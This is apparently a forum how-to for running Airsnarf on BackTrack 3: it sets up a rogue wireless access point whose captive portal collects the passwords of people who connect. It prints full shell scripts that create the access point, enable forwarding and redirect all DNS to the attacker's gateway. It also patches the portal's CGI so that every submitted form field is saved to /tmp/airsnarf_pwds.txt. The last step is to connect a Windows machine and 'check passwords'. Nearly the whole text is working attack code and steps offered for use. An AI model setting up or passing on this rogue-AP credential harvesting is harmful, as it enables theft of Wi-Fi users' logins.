Airsnarf working on bt3 with atheros card
This guide has been put together from a number of different guides tested on BT3 works great. I am using proxim8470-WD card
1st boot into backtrack 3
make dir in /var/www called html
make a dir in /var/state called dhcp
download dhcp-3.0.5-i486-2.tgz
tar -zxvf dhcp-3.0.5-i486-2.tgz
touch /var/state/dhcp/dhcpd.leases
next open kwrite and make a file called in /etc/rc.d/rc.dhcpd
open file put this in there and save it
#!/bin/sh
#
# /etc/rc.d/rc.dhcpd
#
# Start/stop/restart the Samba SMB file/print server.
#
# To make Samba start automatically at boot, make this
# file executable: chmod 755 /etc/rc.d/rc.samba
#
dhcpd_start() {
if [ -x /usr/sbin/dhcpd -a -r /etc/dhcpd.conf ]; then
echo "Starting Dhcp..."
/usr/sbin/dhcpd -cf /etc/dhcpd.conf ath0
fi
}
dhcpd_stop() {
killall dhcpd
}
dhcpd_restart() {
dhcpd_stop
sleep 2
dhcpd_start
}
case "$1" in
'start')
dhcpd_start
;;
'stop')
dhcpd_stop
;;
'restart')
dhcpd_restart
;;
*)
# Default is "start", for backwards compatibility with previous
# Slackware versions. This may change to a 'usage' error someday.
dhcpd_start
esac
then create another file in /ect/rc.d/rc.httpd
open the file put this in there then save it
#!/bin/sh
#
# /etc/rc.d/rc.httpd
#
# Start/stop/restart the Apache web server.
#
# To make Apache start automatically at boot, make this
# file executable: chmod 750 /etc/rc.d/rc.httpd
#
conffile=/etc/httpd/httpd.conf
function start() {
if grep -q "^Include /etc/apache/mod_ssl.conf" $conffile ; then
/usr/sbin/apachectl startssl
else
/usr/sbin/apachectl start
fi
}
function stop() {
/usr/sbin/apachectl stop
}
function restart() {
/usr/sbin/apachectl restart
}
# See how we were called.
case "$1" in
start)
start
;;
stop)
stop
;;
restart)
restart
;;
*)
echo "usage $0 start|stop|restart" ;;
esac
chmod 755 /etc/rc.d/rc.httpd
chmod 755 /etc/rc.d/rc.dhcpd
goto airsnarf directory /pentest/wireless/airsnarf open airsnarf and replace with this
#!/bin/bash
# airsnarf.sh
# A rogue AP setup utility.
echo "Airsnarf - A rogue AP setup utility."
echo "0.2"
echo "The Shmoo Group"
echo "------------------------------------"
# here are some variables you may want to edit
WWW_ROOT="/var/www/html"
CGI_ROOT="/var/www/cgi-bin"
LOCAL_CFG="./cfg"
# specify another config dir with a command line arg if you want
if [ $1 ]
then
LOCAL_CFG="$1"
fi
source $LOCAL_CFG/airsnarf.cfg
# create the dhcpd.conf
echo -n "Creating dhcpd.conf..."
sed s/AIRSNARF/$ROGUE_NET/g ./etc/dhcpd.src > /etc/dhcpd.conf
echo "Done."
# copy over the www stuff
echo -n "Building the captive portal..."
cp $LOCAL_CFG/html/* $WWW_ROOT
cp $LOCAL_CFG/cgi-bin/* $CGI_ROOT
chmod +x $CGI_ROOT/*
echo "Done."
# set our wireless parameters
echo -n "Setting the wireless parameters..."
ifconfig $ROGUE_INTERFACE down
wlanconfig $ROGUE_INTERFACE destroy
wlanconfig $ROGUE_INTERFACE create wlandev wifi0 wlanmode ap
ifconfig $ROGUE_INTERFACE up
iwconfig $ROGUE_INTERFACE essid $ROGUE_SSID mode master
echo "Done."
# set our ip and default route
echo -n "Setting the ip address and default route..."
ifconfig $ROGUE_INTERFACE $ROGUE_GW
route add -net 0.0.0.0 gw $ROGUE_GW
echo "Done."
# restart some services
/usr/sbin/dhcpd -cf /etc/dhcpd.conf
/usr/sbin/apachectl restart
#/etc/init.d/sendmail restart
# set up the firewall to redirect
echo -n "Setting up firewall to redirect DNS..."
echo 1 > /proc/sys/net/ipv4/ip_forward
modprobe iptable_nat
iptables -F -t nat
iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT \
--to $ROGUE_GW
# dammit, I swear this used to work with just an OUTPUT rule...
iptables -t nat -A OUTPUT -p udp --dport 53 -j DNAT \
--to $ROGUE_GW
echo "Done."
# start the local dns resolver
echo "Starting local DNS resolver..."
chmod +x ./bin/airsnarf_dns.pl
./bin/airsnarf_dns.pl
now open cfg file in airsnarf folder and edit airsnarf.cfg
replace with
ROGUE_SSID="ap name"
ROGUE_NET="192.168.1."
ROGUE_GW="192.168.1.254"
ROGUE_INTERFACE="ath0"
#export ROGUE_SSID ROGUE_NET ROGUE_GW ROGUE_INTERFACE
Now for saving to a file tmp/airsnarf_pwds.txt
open the airsnarf-0.2/cfg/cgi bin edit airsnarf.cgi
comment out(or delete) everything from "$mailprog = '/usr/sbin/sendmail';" until "close(MAIL);"
replace with
open (MYFILE, '>>/tmp/airsnarf_pwds.txt');
foreach $key (keys(%FORM)) {
print MYFILE "$key = $FORM{$key}\n";
print MYFILE "----------------------\n";
}
;
save file
now run airsnarf and try to connect you will get it works on screen dont worry
goto /var/www/html and copy to /var/www/htdocs Try to connect now from windows box ect then check passwords
